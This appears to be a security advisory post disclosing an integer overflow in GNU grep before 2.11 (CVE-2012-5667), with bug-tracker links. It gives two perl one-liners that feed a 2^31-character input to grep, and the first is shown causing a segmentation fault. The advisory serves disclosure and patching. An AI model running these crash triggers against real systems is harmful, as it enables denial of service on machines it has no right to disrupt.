Grep <2.11 is vulnerable to int overflow exploitation.
 
http://lists.gnu.org/archive/html/bug-grep/2012-03/msg00007.html
 
Although it is patched in the recent Grep,
This update has not been pushed to the Ubuntu repos, or the Redhat
repos, leaving 99% of those OS's(and more) vulnerable.
 
 
There are also many other ways to do this bug.
 
It is low severity because it would be extremely hard to actually
exploit it, and it is a local exploit, and it is not run by root.
 
Found By: Security Researcher - Joshua Rogers
 
 
More:
https://bugzilla.redhat.com/show_bug.cgi?id=889935
https://bugs.launchpad.net/ubuntu/+source/grep/+bug/1091473
http://seclists.org/oss-sec/2012/q4/504
etc.
 
#There are many ways of doing this.
 
#Method one:
$ perl -e 'print "x"x(2**31)' | grep x > /dev/null
Segmentation fault (core dumped)
 
 
#Method two:
$ perl -e 'print "\nx"x(2**31)' | grep -c x > /dev/null
 
 
Twitter: https://twitter.com/MegaManSec
 
 
CVE: CVE-2012-5667
-- 
*Joshua Rogers* - Retro Game Collector && IT Security Specialist
gpg pubkey <http://www.internot.info/docs/gpg_pubkey.asc.gpg>